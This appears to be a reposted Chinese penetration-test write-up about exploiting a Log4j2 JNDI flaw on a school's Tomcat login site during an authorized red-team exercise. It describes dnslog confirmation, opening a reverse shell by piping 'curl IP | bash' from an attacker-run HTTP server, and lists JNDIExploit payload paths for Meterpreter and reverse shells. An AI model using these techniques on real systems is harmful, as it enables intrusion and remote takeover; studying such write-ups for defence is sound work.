0x01 前言
仍记得是上上个月,突然来了一份报告,报告内容应该是前不久的一次攻防,学校的统一认证有个log4j,被漫游进了内网,现在客户就需要验证漏洞是否存在,快到下班点了,就随手照着报告的poc鬼搞了一下,疯狂重置链接,遂问了手客户,客户说有waf,绕不过那只能重新找站点了!
0x02 信息收集 这个是tomcat的,就随手掏了JNDIExploit试试直接tomcatbypass看看whoami,能看到那么接下去就全是垃圾时间了,但是很可惜,执行不成功 看了下记录,这边其实是有请求的,但是执行不成功。 0x03 进一步思考 遂之后尝试了 以及内存马注入,都没有任何效果,这里直接陷入了僵局,测到此处,想到自己渗透练习时长两年半连个java代码都看不懂、想到同一排工位上的大佬每天各式各样的神操作、想到别人每天跟对象卿卿我我而我每天却只能盯着这该死的破站不由得悲从心来。 这里我就直接摒弃了之前的经验,因为一般这类的洞我那tomcatbypass这个去打基本没失过手,除非装了最新的杀软拦掉了jndi请求,所以直接从头试,结果很快试出来了 这个是可以用的,直接ping了一手dnslog,很快就出来了响应。 只能说老天爷还是心疼咱啊,又随手试了下大小写,是个linux,这波确实是心疼到家了。 0x04 命令执行 之前有碰到过类似的执行命令无回显的地方,那时候直接执行sh -i是不能弹,base64的bash编码也不行,当时在不知道哪个地方看到的 curl IP | bash去弹shell,原理就是在ip的80口开py的http,然后写一个index.html内容就是sh -i去弹shell那个命令。linux curl之后会直接管道进bash执行,这里当时测试为了一次性到位,直接用的就是这种方式。这里如果没有curl的话,wget也是可以满足需求的,本身这种方式特殊字符比较少,可以规避一些做了限制的命令执行。 然后命令编码一下执行。 0x05 总结 只能说确实丝滑,但是复盘的时候,不管是直接用sh -i编码拼那个后面执行,还是说用Basic里面那个直接做好的反弹shell都是可以直接弹回来的,只能说有时候果然是想的太多了,这里curl其实也可以去传文件,用文件外带的方式去看执行的命令。/TomcatBypass/Meterpreter/[ip]/[port] ---java/meterpreter/reverse_tcp、/TomcatBypass/ReverseShell/[ip]/[port]
/Basic/Command/Base64/[base64_encoded_cmd]
最后来个whoami验证一下,成功!
原文始发于微信公众号(渗透安全HackTwo):攻防演练中log4j2的简单利用-攻防演练
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论